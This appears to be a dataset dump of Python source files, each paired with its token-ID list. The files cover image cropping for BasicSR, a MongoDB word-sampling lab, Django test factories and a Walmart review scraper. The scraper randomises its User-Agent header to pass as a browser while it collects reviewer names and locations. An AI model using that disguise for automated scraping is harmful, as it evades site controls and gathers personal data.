1213,
15945,
13,
1678,
736,
337,
29889,
1491,
29898,
29878,
29908,
1194,
29876,
4295,
29878,
4295,
29873,
29989,
29545,
29896,
29892,
17671,
376,
9162,
1426,
29897,
13,
13,
13,
1753,
903,
5992,
29918,
1332,
3246,
22459,
29918,
463,
1076,
29918,
355,
29918,
726,
29898,
726,
29901,
851,
29897,
1599,
851,
29901,
13,
1678,
9995,
7301,
586,
267,
24358,
515,
278,
6763,
322,
1095,
310,
278,
2183,
1426,
1213,
15945,
13,
1678,
736,
1426,
29889,
17010,
580,
13,
13,
13,
1753,
3349,
29918,
20908,
5926,
29918,
29886,
18049,
29884,
362,
29898,
726,
29901,
851,
29897,
1599,
851,
29901,
13,
1678,
9995,
13,
4706,
15154,
7929,
6035,
22999,
362,
29892,
607,
1122,
505,
1063,
263,
4682,
310,
13,
4706,
12642,
2353,
2874,
29889,
13,
1678,
9995,
13,
1678,
4766,
353,
285,
29908,
4197,
29912,
1807,
29889,
29886,
18049,
29884,
362,
29913,
2314,
29908,
718,
29850,
29896,
29892,
5038,
13,
1678,
4766,
353,
337,
29889,
12198,
29898,
11037,
29897,
13,
1678,
1426,
353,
337,
29889,
1491,
29898,
11037,
29892,
364,
26732,
29896,
613,
1426,
29897,
13,
1678,
736,
1426,
13,
13,
13,
1753,
6222,
29918,
3891,
2497,
29898,
13,
1678,
934,
2084,
29901,
851,
29892,
4434,
2497,
29918,
4758,
29901,
851,
29892,
334,
5085,
29901,
851,
29892,
3579,
19290,
29901,
851,
13,
29897,
1599,
851,
29901,
13,
1678,
9995,
13,
4706,
7338,
1461,
1591,
322,
1426,
515,
12642,
2353,
29889,
1209,
5684,
6389,
304,
13,
4706,
4434,
2497,
1494,
967,
5106,
13,
1678,
9995,
13,
1678,
1899,
353,
6796,
1645,
613,
11663,
4758,
613,
4434,
2497,
29918,
4758,
29892,
934,
2084,
29962,
13,
13,
1678,
565,
6389,
29901,
13,
4706,
363,
1852,
297,
6389,
29901,
13,
9651,
1899,
29889,
21843,
4197,
1191,
2314,
13,
13,
1678,
565,
9049,
5085,
29901,
13,
4706,
363,
413,
29892,
325,
297,
9049,
5085,
29889,
7076,
7295,
13,
9651,
1899,
29889,
21843,
4197,
29895,
29892,
325,
2314,
13,
13,
1678,
1813,
353,
1423,
29918,
4905,
29898,
6519,
29892,
380,
20405,
29922,
2287,
29963,
10074,
29897,
13,
1678,
1813,
353,
1813,
29889,
13808,
703,
9420,
29899,
29947,
1159,
13,
1678,
736,
1813,
13,
2
] |
codes/scripts/extract_subimgs_single.py | audzms2776/BasicSR | 0 | 1607810 | <reponame>audzms2776/BasicSR
import os
import os.path as osp
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed
import numpy as np
import cv2
from tqdm import tqdm
from glob import glob
import time
pbar = None
crop_sz = 96
step = crop_sz // 2
thres_sz = 48
def main():
global pbar
"""A multi-thread tool to crop sub imags."""
input_folder = 'D:\\tmp\\data\\sample_res'
save_folder = 'D:\\tmp\\data\\sample_py'
# input_folder = 'D:\\tmp\\BasicSR\\data_samples\\samples'
# save_folder = 'D:\\tmp\\BasicSR\\data_samples\\test_sample'
compression_level = 3 # 3 is the default value in cv2
# CV_IMWRITE_PNG_COMPRESSION from 0 to 9. A higher value means a smaller size and longer
# compression time. If read raw images during training, use 0 for faster IO speed.
if not os.path.exists(save_folder):
os.makedirs(save_folder)
print('mkdir [{:s}] ...'.format(save_folder))
img_list = glob(input_folder + '/*')
pbar = tqdm(total=len(img_list))
start = time.time()
# with ThreadPoolExecutor() as executor:
# future_worker = {executor.submit(worker, path, save_folder, compression_level): path for path in img_list}
# for future in as_completed(future_worker):
# try:
# future.result()
# except Exception as exc:
# print(exc)
for path in img_list:
print(path)
worker(path, save_folder, compression_level)
print('result time {}'.format(time.time() - start))
# print('All subprocesses done.')
def worker(path, save_folder, compression_level):
img_name = os.path.basename(path)
names = img_name.split('.')
img = cv2.imread(path, cv2.IMREAD_UNCHANGED)
n_channels = len(img.shape)
if n_channels == 2:
h, w = img.shape
elif n_channels == 3:
h, w, c = img.shape
else:
raise ValueError('Wrong image shape - {}'.format(n_channels))
h_space = np.arange(0, h - crop_sz + 1, step)
if h - (h_space[-1] + crop_sz) > thres_sz:
h_space = np.append(h_space, h - crop_sz)
w_space = np.arange(0, w - crop_sz + 1, step)
if w - (w_space[-1] + crop_sz) > thres_sz:
w_space = np.append(w_space, w - crop_sz)
xy_arr = []
for x in h_space:
for y in w_space:
xy_arr.append((x, y))
def sub_f(img, x, y, idx):
if n_channels == 2:
crop_img = img[x:x + crop_sz, y:y + crop_sz]
else:
crop_img = img[x:x + crop_sz, y:y + crop_sz, :]
crop_img = np.ascontiguousarray(crop_img)
cv2.imwrite(
os.path.join(save_folder, '{}-{}.{}'.format(names[0], idx, names[1])),
crop_img, [cv2.IMWRITE_PNG_COMPRESSION, compression_level])
with ThreadPoolExecutor() as executor:
future_worker = {executor.submit(sub_f, img, xy[0], xy[1], idx): (idx, xy) for idx, xy in enumerate(xy_arr)}
for future in as_completed(future_worker):
try:
future.result()
except Exception as exc:
print(exc)
pbar.update(1)
if __name__ == '__main__':
main()
| [
1,
529,
276,
1112,
420,
29958,
15052,
29920,
1516,
29906,
29955,
29955,
29953,
29914,
16616,
14098,
13,
5215,
2897,
13,
5215,
2897,
29889,
2084,
408,
288,
1028,
13,
5215,
10876,
13,
3166,
21984,
29889,
29888,
329,
1973,
1053,
10480,
11426,
13366,
29892,
408,
29918,
5729,
9446,
13,
5215,
12655,
408,
7442,
13,
5215,
13850,
29906,
13,
3166,
260,
29939,
18933,
1053,
260,
29939,
18933,
13,
3166,
13149,
1053,
13149,
13,
5215,
931,
13,
13,
29886,
1646,
353,
6213,
13,
29883,
1336,
29918,
3616,
353,
29871,
29929,
29953,
13,
10568,
353,
274,
1336,
29918,
3616,
849,
29871,
29906,
13,
386,
690,
29918,
3616,
353,
29871,
29946,
29947,
13,
268,
13,
1753,
1667,
7295,
13,
1678,
5534,
282,
1646,
13,
268,
13,
1678,
9995,
29909,
2473,
29899,
7097,
5780,
304,
274,
1336,
1014,
527,
810,
1213,
15945,
13,
1678,
1881,
29918,
12083,
353,
525,
29928,
22298,
7050,
1966,
1272,
1966,
11249,
29918,
690,
29915,
13,
1678,
4078,
29918,
12083,
353,
525,
29928,
22298,
7050,
1966,
1272,
1966,
11249,
29918,
2272,
29915,
13,
1678,
396,
1881,
29918,
12083,
353,
525,
29928,
22298,
7050,
1966,
16616,
14098,
1966,
1272,
29918,
27736,
1966,
27736,
29915,
13,
1678,
396,
4078,
29918,
12083,
353,
525,
29928,
22298,
7050,
1966,
16616,
14098,
1966,
1272,
29918,
27736,
1966,
1688,
29918,
11249,
29915,
13,
268,
13,
1678,
24221,
29918,
5563,
353,
29871,
29941,
29871,
396,
29871,
29941,
338,
278,
2322,
995,
297,
13850,
29906,
13,
1678,
396,
25778,
29918,
7833,
16365,
29918,
29925,
9312,
29918,
21514,
1525,
13507,
515,
29871,
29900,
304,
29871,
29929,
29889,
319,
6133,
995,
2794,
263,
7968,
2159,
322,
5520,
13,
1678,
396,
24221,
931,
29889,
960,
1303,
10650,
4558,
2645,
6694,
29892,
671,
29871,
29900,
363,
8473,
10663,
6210,
29889,
13,
13,
1678,
565,
451,
2897,
29889,
2084,
29889,
9933,
29898,
7620,
29918,
12083,
1125,
13,
4706,
2897,
29889,
29885,
12535,
12935,
29898,
7620,
29918,
12083,
29897,
13,
4706,
1596,
877,
11256,
3972,
15974,
29901,
29879,
6525,
2023,
4286,
4830,
29898,
7620,
29918,
12083,
876,
13,
268,
13,
1678,
10153,
29918,
1761,
353,
13149,
29898,
2080,
29918,
12083,
718,
525,
5515,
1495,
13,
13,
1678,
282,
1646,
353,
260,
29939,
18933,
29898,
7827,
29922,
2435,
29898,
2492,
29918,
1761,
876,
13,
13,
1678,
1369,
353,
931,
29889,
2230,
580,
13,
268,
13,
1678,
396,
411,
10480,
11426,
13366,
580,
408,
2279,
3406,
29901,
13,
1678,
396,
268,
5434,
29918,
24602,
353,
426,
4258,
3406,
29889,
7892,
29898,
24602,
29892,
2224,
29892,
4078,
29918,
12083,
29892,
24221,
29918,
5563,
1125,
2224,
363,
2224,
297,
10153,
29918,
1761,
29913,
13,
308,
13,
1678,
396,
268,
363,
5434,
297,
408,
29918,
5729,
9446,
29898,
29888,
9130,
29918,
24602,
1125,
13,
1678,
396,
308,
1018,
29901,
13,
1678,
396,
632,
5434,
29889,
2914,
580,
13,
1678,
396,
308,
5174,
8960,
408,
5566,
29901,
13,
1678,
396,
632,
1596,
29898,
735,
29883,
29897,
13,
632,
13,
1678,
363,
2224,
297,
10153,
29918,
1761,
29901,
13,
4706,
1596,
29898,
2084,
29897,
13,
4706,
15645,
29898,
2084,
29892,
4078,
29918,
12083,
29892,
24221,
29918,
5563,
29897,
13,
268,
13,
1678,
1596,
877,
2914,
931,
6571,
4286,
4830,
29898,
2230,
29889,
2230,
580,
448,
1369,
876,
13,
1678,
396,
1596,
877,
3596,
1014,
5014,
267,
2309,
29889,
1495,
13,
13,
13,
1753,
15645,
29898,
2084,
29892,
4078,
29918,
12083,
29892,
24221,
29918,
5563,
1125,
13,
1678,
10153,
29918,
978,
353,
2897,
29889,
2084,
29889,
6500,
3871,
29898,
2084,
29897,
13,
1678,
2983,
353,
10153,
29918,
978,
29889,
5451,
12839,
1495,
13,
1678,
10153,
353,
13850,
29906,
29889,
326,
949,
29898,
2084,
29892,
13850,
29906,
29889,
7833,
16310,
29918,
3904,
3210,
24336,
29928,
29897,
13,
13,
1678,
302,
29918,
305,
12629,
353,
7431,
29898,
2492,
29889,
12181,
29897,
13,
1678,
565,
302,
29918,
305,
12629,
1275,
29871,
29906,
29901,
13,
4706,
298,
29892,
281,
353,
10153,
29889,
12181,
13,
1678,
25342,
302,
29918,
305,
12629,
1275,
29871,
29941,
29901,
13,
4706,
298,
29892,
281,
29892,
274,
353,
10153,
29889,
12181,
13,
1678,
1683,
29901,
13,
4706,
12020,
7865,
2392,
877,
29956,
29373,
1967,
8267,
448,
6571,
4286,
4830,
29898,
29876,
29918,
305,
12629,
876,
13,
13,
1678,
298,
29918,
3493,
353,
7442,
29889,
279,
927,
29898,
29900,
29892,
298,
448,
274,
1336,
29918,
3616,
718,
29871,
29896,
29892,
4331,
29897,
13,
1678,
565,
298,
448,
313,
29882,
29918,
3493,
14352,
29896,
29962,
718,
274,
1336,
29918,
3616,
29897,
1405,
266,
690,
29918,
3616,
29901,
13,
4706,
298,
29918,
3493,
353,
7442,
29889,
4397,
29898,
29882,
29918,
3493,
29892,
298,
448,
274,
1336,
29918,
3616,
29897,
13,
1678,
281,
29918,
3493,
353,
7442,
29889,
279,
927,
29898,
29900,
29892,
281,
448,
274,
1336,
29918,
3616,
718,
29871,
29896,
29892,
4331,
29897,
13,
13,
1678,
565,
281,
448,
313,
29893,
29918,
3493,
14352,
29896,
29962,
718,
274,
1336,
29918,
3616,
29897,
1405,
266,
690,
29918,
3616,
29901,
13,
4706,
281,
29918,
3493,
353,
7442,
29889,
4397,
29898,
29893,
29918,
3493,
29892,
281,
448,
274,
1336,
29918,
3616,
29897,
13,
13,
1678,
921,
29891,
29918,
2749,
353,
5159,
13,
268,
13,
1678,
363,
921,
297,
298,
29918,
3493,
29901,
13,
4706,
363,
343,
297,
281,
29918,
3493,
29901,
13,
9651,
921,
29891,
29918,
2749,
29889,
4397,
3552,
29916,
29892,
343,
876,
13,
268,
13,
1678,
822,
1014,
29918,
29888,
29898,
2492,
29892,
921,
29892,
343,
29892,
22645,
1125,
13,
4706,
565,
302,
29918,
305,
12629,
1275,
29871,
29906,
29901,
13,
18884,
274,
1336,
29918,
2492,
353,
10153,
29961,
29916,
29901,
29916,
718,
274,
1336,
29918,
3616,
29892,
343,
29901,
29891,
718,
274,
1336,
29918,
3616,
29962,
13,
4706,
1683,
29901,
13,
9651,
274,
1336,
29918,
2492,
353,
10153,
29961,
29916,
29901,
29916,
718,
274,
1336,
29918,
3616,
29892,
343,
29901,
29891,
718,
274,
1336,
29918,
3616,
29892,
584,
29962,
13,
4706,
274,
1336,
29918,
2492,
353,
7442,
29889,
294,
1285,
5526,
681,
2378,
29898,
29883,
1336,
29918,
2492,
29897,
13,
308,
13,
4706,
13850,
29906,
29889,
326,
3539,
29898,
13,
9651,
2897,
29889,
2084,
29889,
7122,
29898,
7620,
29918,
12083,
29892,
22372,
7402,
29912,
1836,
8875,
4286,
4830,
29898,
7039,
29961,
29900,
1402,
22645,
29892,
2983,
29961,
29896,
2314,
511,
13,
9651,
274,
1336,
29918,
2492,
29892,
518,
11023,
29906,
29889,
7833,
16365,
29918,
29925,
9312,
29918,
21514,
1525,
13507,
29892,
24221,
29918,
5563,
2314,
13,
308,
13,
308,
13,
1678,
411,
10480,
11426,
13366,
580,
408,
2279,
3406,
29901,
13,
4706,
5434,
29918,
24602,
353,
426,
4258,
3406,
29889,
7892,
29898,
1491,
29918,
29888,
29892,
10153,
29892,
921,
29891,
29961,
29900,
1402,
921,
29891,
29961,
29896,
1402,
22645,
1125,
313,
13140,
29892,
921,
29891,
29897,
363,
22645,
29892,
921,
29891,
297,
26985,
29898,
3594,
29918,
2749,
2915,
13,
308,
13,
4706,
363,
5434,
297,
408,
29918,
5729,
9446,
29898,
29888,
9130,
29918,
24602,
1125,
13,
9651,
1018,
29901,
13,
18884,
5434,
29889,
2914,
580,
13,
9651,
5174,
8960,
408,
5566,
29901,
13,
18884,
1596,
29898,
735,
29883,
29897,
13,
308,
13,
1678,
282,
1646,
29889,
5504,
29898,
29896,
29897,
13,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
1667,
580,
13,
2
] |
labs/lab-09/checkpoint5.py | AayushSriram/oss-repo | 0 | 47053 | from pymongo import MongoClient
from bson.objectid import ObjectId
from datetime import datetime as dt
import pprint
client = MongoClient()
db = client['mongo_db_lab']
defs = db['definitions']
def random_word_requester():
'''
This function should return a random word and its definition and also
log in the MongoDB database the timestamp that it was accessed.
'''
# perform a sample data aggregation
rando = list(defs.aggregate([{'$sample': {'size': 1 }}]))[0]
# update the list of definitions with the last accessed timestamp
query = {'_id': rando.get('_id')}
date = { "$push": { "dates": dt.utcnow().isoformat() } }
defs.update_one(query, date)
return rando
if __name__ == '__main__':
# create a temporary collection to check for duplicates
dupes = db['dupes']
item = random_word_requester()
# we keep getting random words until we find a dupe
while dupes.count_documents({'_id': item.get('_id')}) <= 0:
dupes.insert_one(item)
item = random_word_requester()
# get the dupe in the original collection
duped = defs.find_one({'_id': item.get('_id')})
pprint.pprint(duped)
# remove the duplicate collection and remove
# the dates field before exiting
dupes.drop()
defs.update_many({}, {'$unset': {'dates': ''}})
client.close() | [
1,
515,
282,
962,
7443,
1053,
18294,
4032,
13,
3166,
289,
1100,
29889,
3318,
333,
1053,
4669,
1204,
13,
3166,
12865,
1053,
12865,
408,
11636,
13,
5215,
282,
2158,
13,
4645,
353,
18294,
4032,
580,
13,
2585,
353,
3132,
1839,
29885,
7443,
29918,
2585,
29918,
8205,
2033,
13,
1753,
29879,
353,
4833,
1839,
25476,
2187,
2033,
13,
13,
13,
1753,
4036,
29918,
1742,
29918,
3827,
261,
7295,
13,
1678,
14550,
13,
1678,
910,
740,
881,
736,
263,
4036,
1734,
322,
967,
5023,
322,
884,
13,
1678,
1480,
297,
278,
29004,
2566,
278,
14334,
393,
372,
471,
20592,
29889,
13,
1678,
14550,
13,
1678,
396,
2189,
263,
4559,
848,
11404,
362,
13,
1678,
364,
1743,
353,
1051,
29898,
1753,
29879,
29889,
26193,
403,
4197,
10998,
29938,
11249,
2396,
11117,
2311,
2396,
29871,
29896,
500,
6525,
876,
29961,
29900,
29962,
13,
1678,
396,
2767,
278,
1051,
310,
15848,
411,
278,
1833,
20592,
14334,
13,
1678,
2346,
353,
11117,
29918,
333,
2396,
364,
1743,
29889,
657,
877,
29918,
333,
1495,
29913,
13,
1678,
2635,
353,
426,
3908,
5910,
1115,
426,
376,
15190,
1115,
11636,
29889,
329,
29883,
3707,
2141,
10718,
4830,
580,
500,
500,
13,
1678,
822,
29879,
29889,
5504,
29918,
650,
29898,
1972,
29892,
2635,
29897,
13,
268,
13,
1678,
736,
364,
1743,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
396,
1653,
263,
13201,
4333,
304,
1423,
363,
20955,
13,
1678,
5141,
267,
353,
4833,
1839,
700,
5547,
2033,
13,
1678,
2944,
353,
4036,
29918,
1742,
29918,
3827,
261,
580,
13,
1678,
396,
591,
3013,
2805,
4036,
3838,
2745,
591,
1284,
263,
868,
412,
13,
1678,
1550,
5141,
267,
29889,
2798,
29918,
3225,
29879,
3319,
15972,
333,
2396,
2944,
29889,
657,
877,
29918,
333,
1495,
1800,
5277,
29871,
29900,
29901,
13,
4706,
5141,
267,
29889,
7851,
29918,
650,
29898,
667,
29897,
13,
4706,
2944,
353,
4036,
29918,
1742,
29918,
3827,
261,
580,
13,
1678,
396,
679,
278,
868,
412,
297,
278,
2441,
4333,
13,
1678,
5141,
287,
353,
822,
29879,
29889,
2886,
29918,
650,
3319,
15972,
333,
2396,
2944,
29889,
657,
877,
29918,
333,
1495,
1800,
13,
1678,
282,
2158,
29889,
407,
29878,
524,
29898,
700,
9795,
29897,
13,
1678,
396,
3349,
278,
7929,
4333,
322,
3349,
13,
1678,
396,
278,
10116,
1746,
1434,
6876,
292,
13,
1678,
5141,
267,
29889,
8865,
580,
13,
1678,
822,
29879,
29889,
5504,
29918,
13011,
3319,
1118,
11117,
29938,
348,
842,
2396,
11117,
15190,
2396,
6629,
24289,
13,
268,
13,
4645,
29889,
5358,
580,
2
] |
tests/factories.py | seik/django-belt | 0 | 199606 | from factory import DjangoModelFactory
from factory.fuzzy import FuzzyText
from tests.app.models import Post, Category, Blog
from factory.declarations import SubFactory
class BlogFactory(DjangoModelFactory):
class Meta:
model = Blog
class PostFactory(DjangoModelFactory):
blog = SubFactory(BlogFactory)
title = FuzzyText()
content = FuzzyText()
class Meta:
model = Post
class CategoryFactory(DjangoModelFactory):
class Meta:
model = Category
| [
1,
515,
12529,
1053,
15337,
3195,
5126,
13,
3166,
12529,
29889,
29888,
3365,
1537,
1053,
383,
3365,
1537,
1626,
13,
13,
3166,
6987,
29889,
932,
29889,
9794,
1053,
4918,
29892,
17943,
29892,
350,
1188,
13,
3166,
12529,
29889,
311,
16544,
800,
1053,
3323,
5126,
13,
13,
13,
1990,
350,
1188,
5126,
29898,
29928,
5364,
3195,
5126,
1125,
13,
1678,
770,
20553,
29901,
13,
4706,
1904,
353,
350,
1188,
13,
13,
13,
1990,
4918,
5126,
29898,
29928,
5364,
3195,
5126,
1125,
13,
1678,
12618,
353,
3323,
5126,
29898,
29933,
1188,
5126,
29897,
13,
1678,
3611,
353,
383,
3365,
1537,
1626,
580,
13,
1678,
2793,
353,
383,
3365,
1537,
1626,
580,
13,
13,
1678,
770,
20553,
29901,
13,
4706,
1904,
353,
4918,
13,
13,
13,
1990,
17943,
5126,
29898,
29928,
5364,
3195,
5126,
1125,
13,
1678,
770,
20553,
29901,
13,
4706,
1904,
353,
17943,
13,
2
] |
wlmrt/review.py | jayrumi/walmart_pars_lib | 3 | 106767 | from random import randint
import requests
from lxml import html
import datetime
import time
def reviews(in_product_id, *arg):
product_id = str(in_product_id)
try:
if str(arg[0]).lower() == 'log':
log = 1
else:
log = 0
except:
log = 0
gen_headers = str(
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/' + str(
randint(1, 42)) + '.0.' + str(randint(1, 2311)) + '.' + str(randint(1, 90)) + ' Safari/' + str(
randint(100, 537)) + '.' + str(randint(1, 36)))
in_headers = {'User-Agent': gen_headers}
walmart_url = str('https://www.walmart.com/reviews/product/' + product_id)
page = requests.get(walmart_url, headers=in_headers).text
if log == 1:
print("Product link:", walmart_url)
parser = html.fromstring(page)
XPATH_PRODUCT_NAME = '//div[@class="Grid review-product-header hide-content display-inline-block-m"]/div/div/div/h2/a/text()'
product_name = parser.xpath(XPATH_PRODUCT_NAME)[0]
countPagesList = []
for cnt in parser.xpath('//div[@class="js-review-pagination-bottom"]/div[@class ="review-pagination js-review-pagination hide-content display-inline-block-m"]/div/ul/li/a/text()'):
countPagesList.append(cnt)
try:
pageCounter = int(countPagesList[-1])
except:
pageCounter = 1
if log == 1:
print("Count of page(s) with review(s)", str(pageCounter))
reviews_list = []
for pg_counter in range(pageCounter):
walmart_url = str('https://www.walmart.com/reviews/product/' + product_id + '?limit=20&page=' + str(pg_counter + 1) + '&sort=relevancy')
page = requests.get(walmart_url, headers=in_headers).text
parser = html.fromstring(page)
XPATH_REVIEW_LIST = '//div[@class="js-review-list"]/div'
page_review_list = parser.xpath(XPATH_REVIEW_LIST)
for review in page_review_list:
try:
review_title = review.xpath(
'.//div[@class="Grid-col u-size-8-12-m js-customer-review-body customer-review-body"]/div[@class="Grid"]/div/text()')[0]
except:
review_title = 'None'
#print('review_title:', review_title)
try:
review_date = review.xpath(
'.//div[@class="Grid-col u-size-8-12-m js-customer-review-body customer-review-body"]/div[@class="Grid"]/span/text()')[0]
except:
review_date = 'None'
#print('review_date:', review_date)
try:
review_rating = str(review.xpath(
'.//div[@class="Grid-col u-size-8-12-m js-customer-review-body customer-review-body"]/div[@class="stars customer-stars"]/span[@class="visuallyhidden"]/text()')[0]).replace(' stars', '')
except:
review_rating = 'None'
#print('review_rating:', review_rating)
try:
reviewer_name = review.xpath(
'.//div[@class="Grid-col u-size-8-12-m js-customer-review-body customer-review-body"]/div[@class="stars customer-stars"]/span[@class="customer-name hide-content display-inline-block-m"]/span/text()')[0]
except:
reviewer_name = 'None'
#print('reviewer_name:', reviewer_name)
try:
review_text = review.xpath(
'.//div[@class="Grid-col u-size-8-12-m js-customer-review-body customer-review-body"]/div[@class="customer-review-text"]/p/text()')[0]
except:
review_text = 'None'
#print('review_text:', review_text)
try:
review_helpful_yes = review.xpath(
'.//div[@class="Grid-col u-size-8-12-m js-customer-review-body customer-review-body"]/div[@class="btn-vote-group js-btn-vote-group customer-review-voting hide-content display-inline-block-m"]/span/span[@class="js-vote-positive-count"]/text()')[0]
except:
review_helpful_yes = 'None'
#print('review_helpful_yes:', review_helpful_yes)
try:
review_helpful_no = review.xpath(
'.//div[@class="Grid-col u-size-8-12-m js-customer-review-body customer-review-body"]/div[@class="btn-vote-group js-btn-vote-group customer-review-voting hide-content display-inline-block-m"]/span/span[@class="js-vote-negative-count"]/text()')[0]
except:
review_helpful_no = 'None'
#print('review_helpful_no:', review_helpful_no)
try:
reviewer_location = review.xpath(
'.//div[@class="Grid-col u-size-3-12-m customer-info hide-content display-inline-block-m"]/div[@class="customer-location"]/text()')[0]
except:
reviewer_location = 'None'
#print('reviewer_location:', reviewer_location)
reviewer_attributes = []
for attr in review.xpath(
'.//div[@class="Grid-col u-size-3-12-m customer-info hide-content display-inline-block-m"]/div[@class="customer-attributes"]/div'):
#print(attr.xpath('text()'), attr.xpath('span/text()'))
attr_dict = {}
attr_dict[str(attr.xpath('text()')[0]).replace('Would recommend to a friend?\n ', 'Recommend').replace(':', '')] = attr.xpath('span/text()')[0]
reviewer_attributes.append(attr_dict)
#print(reviewer_attributes)
if len(review.xpath(
'.//div[@class="Grid-col u-size-8-12-m js-customer-review-body customer-review-body"]/div[@class="hide-content-m"]/div/div/div/a/text()')) > 0:
is_reviewer_verified = 'Yes'
else:
is_reviewer_verified = 'No'
#print('is_reviewer_verified:', is_reviewer_verified)
reviewer_top_list = []
reviewer_top_list_raw = review.xpath(
'.//div[@class="Grid-col u-size-8-12-m js-customer-review-body customer-review-body"]/div[@class="hide-content-m"]/div/div/div/text()')
try:
for i in reviewer_top_list_raw:
if i.find(' ') > 0:
None
else:
reviewer_top_list.append(i)
except:
None
#print(is_reviewer_verified, reviewer_top_list)
review_dictionary = {
'review_title': review_title,
'review_date': review_date,
'review_rating': review_rating,
'review_text': review_text,
'review_helpful_yes': review_helpful_yes,
'review_helpful_no': review_helpful_no,
'reviewer_name': reviewer_name,
'reviewer_location': reviewer_location,
'reviewer_attributes': reviewer_attributes,
'is_reviewer_verified': is_reviewer_verified,
'reviewer_top_list': reviewer_top_list
}
reviews_list.append(review_dictionary)
if log == 1:
print("Page #" + str(pg_counter + 1) + ". Count of parsed reviews in overall:", str(len(reviews_list)))
#print(reviews_list)
product_dictionary = {
'product_id': product_id,
'product_name': product_name,
'product_reviews_list': reviews_list
}
ts = time.time()
if log == 1:
print("System date: ", str(datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d %H:%M:%S')), "\n")
return(product_dictionary)
| [
1,
515,
4036,
1053,
20088,
524,
13,
5215,
7274,
13,
3166,
301,
3134,
1053,
3472,
13,
5215,
12865,
13,
5215,
931,
13,
13,
1753,
21804,
29898,
262,
29918,
4704,
29918,
333,
29892,
334,
1191,
1125,
13,
13,
1678,
3234,
29918,
333,
353,
851,
29898,
262,
29918,
4704,
29918,
333,
29897,
13,
13,
1678,
1018,
29901,
13,
4706,
565,
851,
29898,
1191,
29961,
29900,
14664,
13609,
580,
1275,
525,
1188,
2396,
13,
9651,
1480,
353,
29871,
29896,
13,
4706,
1683,
29901,
13,
9651,
1480,
353,
29871,
29900,
13,
1678,
5174,
29901,
13,
4706,
1480,
353,
29871,
29900,
13,
13,
13,
1678,
2531,
29918,
13662,
353,
851,
29898,
13,
4706,
525,
29924,
2112,
2911,
29914,
29945,
29889,
29900,
313,
7685,
29936,
501,
29936,
3852,
405,
29911,
29871,
29945,
29889,
29896,
29936,
427,
29899,
3308,
29897,
12113,
3609,
13117,
29914,
29945,
29906,
29945,
29889,
29896,
29929,
313,
29968,
7020,
29892,
763,
1879,
27604,
29897,
10228,
22208,
718,
851,
29898,
13,
9651,
20088,
524,
29898,
29896,
29892,
29871,
29946,
29906,
876,
718,
15300,
29900,
6169,
718,
851,
29898,
9502,
524,
29898,
29896,
29892,
29871,
29906,
29941,
29896,
29896,
876,
718,
525,
6169,
718,
851,
29898,
9502,
524,
29898,
29896,
29892,
29871,
29929,
29900,
876,
718,
525,
24544,
22208,
718,
851,
29898,
13,
9651,
20088,
524,
29898,
29896,
29900,
29900,
29892,
29871,
29945,
29941,
29955,
876,
718,
525,
6169,
718,
851,
29898,
9502,
524,
29898,
29896,
29892,
29871,
29941,
29953,
4961,
13,
1678,
297,
29918,
13662,
353,
11117,
2659,
29899,
19661,
2396,
2531,
29918,
13662,
29913,
13,
13,
1678,
17042,
28402,
29918,
2271,
353,
851,
877,
991,
597,
1636,
29889,
14625,
28402,
29889,
510,
29914,
276,
7406,
29914,
4704,
22208,
718,
3234,
29918,
333,
29897,
13,
1678,
1813,
353,
7274,
29889,
657,
29898,
14625,
28402,
29918,
2271,
29892,
9066,
29922,
262,
29918,
13662,
467,
726,
13,
13,
1678,
565,
1480,
1275,
29871,
29896,
29901,
13,
4706,
1596,
703,
7566,
1544,
29901,
613,
17042,
28402,
29918,
2271,
29897,
13,
13,
1678,
13812,
353,
3472,
29889,
3166,
1807,
29898,
3488,
29897,
13,
13,
1678,
1060,
10145,
29918,
8618,
14849,
1783,
29918,
5813,
353,
525,
458,
4563,
17548,
1990,
543,
5756,
9076,
29899,
4704,
29899,
6672,
9563,
29899,
3051,
2479,
29899,
14764,
29899,
1271,
29899,
29885,
3108,
29914,
4563,
29914,
4563,
29914,
4563,
29914,
29882,
29906,
29914,
29874,
29914,
726,
580,
29915,
13,
1678,
3234,
29918,
978,
353,
13812,
29889,
23635,
29898,
29990,
10145,
29918,
8618,
14849,
1783,
29918,
5813,
9601,
29900,
29962,
13,
13,
1678,
2302,
27514,
1293,
353,
5159,
13,
1678,
363,
274,
593,
297,
13812,
29889,
23635,
877,
458,
4563,
17548,
1990,
543,
1315,
29899,
27828,
29899,
13573,
3381,
29899,
8968,
3108,
29914,
4563,
17548,
1990,
29465,
27828,
29899,
13573,
3381,
6965,
29899,
27828,
29899,
13573,
3381,
9563,
29899,
3051,
2479,
29899,
14764,
29899,
1271,
29899,
29885,
3108,
29914,
4563,
29914,
352,
29914,
492,
29914,
29874,
29914,
726,
580,
29374,
13,
4706,
2302,
27514,
1293,
29889,
4397,
29898,
20047,
29897,
13,
13,
1678,
1018,
29901,
13,
4706,
1813,
17779,
353,
938,
29898,
2798,
27514,
1293,
14352,
29896,
2314,
13,
1678,
5174,
29901,
13,
4706,
1813,
17779,
353,
29871,
29896,
13,
13,
1678,
565,
1480,
1275,
29871,
29896,
29901,
13,
4706,
1596,
703,
3981,
310,
1813,
29898,
29879,
29897,
411,
9076,
29898,
29879,
19123,
851,
29898,
3488,
17779,
876,
13,
13,
1678,
21804,
29918,
1761,
353,
5159,
13,
13,
1678,
363,
23822,
29918,
11808,
297,
3464,
29898,
3488,
17779,
1125,
13,
13,
4706,
17042,
28402,
29918,
2271,
353,
851,
877,
991,
597,
1636,
29889,
14625,
28402,
29889,
510,
29914,
276,
7406,
29914,
4704,
22208,
718,
3234,
29918,
333,
718,
525,
29973,
13400,
29922,
29906,
29900,
29987,
3488,
2433,
718,
851,
29898,
4061,
29918,
11808,
718,
29871,
29896,
29897,
718,
525,
29987,
6605,
29922,
276,
2608,
6906,
1495,
13,
4706,
1813,
353,
7274,
29889,
657,
29898,
14625,
28402,
29918,
2271,
29892,
9066,
29922,
262,
29918,
13662,
467,
726,
13,
4706,
13812,
353,
3472,
29889,
3166,
1807,
29898,
3488,
29897,
13,
13,
4706,
1060,
10145,
29918,
1525,
29963,
8673,
29956,
29918,
24360,
353,
525,
458,
4563,
17548,
1990,
543,
1315,
29899,
27828,
29899,
1761,
3108,
